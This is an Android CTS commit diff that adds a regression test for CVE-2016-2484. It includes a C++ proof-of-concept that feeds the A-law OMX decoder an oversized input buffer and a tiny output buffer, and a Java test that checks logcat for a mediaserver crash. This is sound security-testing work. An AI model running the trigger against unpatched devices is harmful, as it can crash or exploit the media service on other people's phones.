[RESTRICT AUTOMERGE]: CTS test for Android Security b/72507923 b/27793163
Test: successful run of newly introduced CTS test case.
Bug: 72507923
Bug: 27793163
Change-Id: Ifa2ee56ed5014f5aba1b5a90c829e3cf56130620
Signed-off-by: Karthick Pandiarajan <karthick.pandiarajan@harman.corp-partner.google.com>
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index df1943a..3f39006 100755
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -56,6 +56,7 @@
<!--__________________-->
<!-- Bulletin 2016-06 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-2484->/data/local/tmp/CVE-2016-2484" />
<option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
<!--__________________-->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2484/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2484/Android.mk
new file mode 100644
index 0000000..1eec493
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2484/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2484
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_SHARED_LIBRARIES := \
+ libmedia \
+ libutils \
+ libbinder \
+ libc \
+ liblog
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/native/include/media/openmax \
+ $(TOP)/frameworks/av/media/libstagefright/omx
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2484/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2484/poc.cpp
new file mode 100644
index 0000000..14cd415
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2484/poc.cpp
@@ -0,0 +1,153 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "CVE-2016-2484"
+
+#include <OMX_Component.h>
+#include <binder/IBinder.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <utils/Errors.h>
+#include <utils/String16.h>
+#include <utils/StrongPointer.h>
+#include "OMXUtils.h"
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+bool testAlawDecoder() {
+ const char *name = "OMX.google.g711.alaw.decoder";
+ IOMX::node_id node = 0;
+ int fenceFd = -1;
+ int bufferCnt = 4;
+ sp<IMemory> memory;
+
+ // Input buffer
+ int inMemSize = 4096 * 4096;
+ int inBufferSize = inMemSize / bufferCnt;
+
+ // Output buffer
+ int outMemSize = 8;
+ int outBufferSize = outMemSize / bufferCnt;
+
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+
+ sp<IMediaPlayerService> mps = interface_cast<IMediaPlayerService>(binder);
+ if (mps == NULL) {
+ ALOGE("get media player service failed");
+ return false;
+ }
+
+ sp<IOMX> service = mps->getOMX();
+ if (service == NULL) {
+ ALOGE("cannot get the omx interface");
+ return false;
+ }
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+ ALOGI("Decoding started......................");
+ status_t err = service->allocateNode(name, observer, NULL, &node);
+ if (err != OK) {
+ ALOGE("%s node allocation failed", name);
+ return false;
+ }
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateIdle);
+ if (err != OK) {
+ ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+ service->freeNode(node);
+ return false;
+ }
+
+ // Input
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id inBufferId = 0;
+ memory = dealerIn->allocate(inBufferSize);
+ if (memory.get() == nullptr || memory->pointer() == nullptr) {
+ ALOGE("memory allocate failed for port index 0, err: %d", err);
+ service->freeNode(node);
+ return false;
+ }
+ err = service->useBuffer(node, 0, memory, &inBufferId, inBufferSize);
+ ALOGI("useBuffer, port index 0, err: %d", err);
+ if (err != OK) {
+ ALOGE("useBuffer is failed for input buffer, err: %d", err);
+ service->freeNode(node);
+ return false;
+ }
+
+ // Output
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id outBufferId = 0;
+ memory = dealerOut->allocate(outBufferSize);
+ if (memory.get() == nullptr || memory->pointer() == nullptr) {
+ ALOGE("memory allocate failed for port index 1, err: %d", err);
+ service->freeNode(node);
+ return false;
+ }
+ err = service->useBuffer(node, 1, memory, &outBufferId, outBufferSize);
+ ALOGI("useBuffer, port index 1, err: %d", err);
+ if (err != OK) {
+ ALOGE("useBuffer is failed for output buffer, err: %d", err);
+ service->freeNode(node);
+ return false;
+ }
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateExecuting);
+ if (err != OK) {
+ ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+ service->freeNode(node);
+ return false;
+ }
+
+ /*
+ * keep running to check whether mediaserver crashes
+ * Error conditions are checked for input/output buffer above. Assuming values
+ * passed are valid. If mediaserver doesn't accept, it crashes the media server
+ * and considered as fail case. It exits gracefully without error and considered
+ * as pass case if evrything goes fine.
+ */
+ err = service->emptyBuffer(node, inBufferId, 0, inBufferSize, 0, 0, fenceFd);
+ ALOGI("emptyBuffer, err: %d", err);
+
+ err = service->fillBuffer(node, outBufferId, fenceFd);
+ ALOGI("fillBuffer, err: %d", err);
+
+ // free node
+ err = service->freeNode(node);
+ ALOGI("freeNode, err: %d", err);
+
+ return true;
+}
+
+int main() {
+ return (int)(!testAlawDecoder());
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
index 6e9f449..f37e8c4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -1,23 +1,24 @@
/**
-* Copyright (C) 2018 The Android Open Source Project
-*
-* Licensed under the Apache License, Version 2.0 (the "License");
-* you may not use this file except in compliance with the License.
-* You may obtain a copy of the License at
-*
-* http://www.apache.org/licenses/LICENSE-2.0
-*
-* Unless required by applicable law or agreed to in writing, software
-* distributed under the License is distributed on an "AS IS" BASIS,
-* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-* See the License for the specific language governing permissions and
-* limitations under the License.
-*/
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+@SecurityTest
public class Poc16_06 extends SecurityTestCase {
/**
* b/27661749
@@ -30,4 +31,16 @@
assertNotMatchesMultiLine("Fatal signal[\\s\\S]*/system/bin/mediaserver",
logcat);
}
+
+ /**
+ * b/27793163
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ public void testPocCVE_2016_2484() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-2484", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
+ logcat);
+ }
}